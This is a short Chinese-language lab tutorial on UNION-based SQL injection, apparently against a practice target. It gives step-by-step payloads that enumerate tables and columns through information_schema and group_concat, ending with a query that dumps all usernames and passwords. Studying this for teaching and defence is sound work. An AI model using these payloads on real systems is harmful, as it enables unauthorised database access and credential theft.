union注入
1.了解union注入过程中用到的关键数据库、数据表、数据列
2.sql查询中group_concat的作用
最终目标
使用union注入拿到靶机中数据库里的所有用户名和密码。
查询语句 select列名 + from表名 + where限定语句
拿到表名和列名
数据库
information_schema
包含所有mysql数据库的简要信息吗,其中包含有两个所需数据表
tables 表名集合表
columns 列名集合表
1.所需要表名信息在数据库information_schema—>数据表tables—>数据列table_name
?id=0' union select 1,table_name,3 from information_schema.tables --+
2.过滤在security数据库中的表名,即table_schema为security的行
?id=0' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
group_concat()的作用
确保所有查询信息能放到一行显示出来
?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查找数据库security中数据表users的列名
所需要信息在数据库information_schema数据表columns数据列column_name
?id=0' union select 1,table_name,3 from information_schema.columns--+
过滤在security数据库中数据表user的列名
?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
查询最终目标
查询语句 select列名+from表名 +where限定语句
?id=0' union select 1,group_concat(username,'~',password),3 from users --+
插入"~"区分数据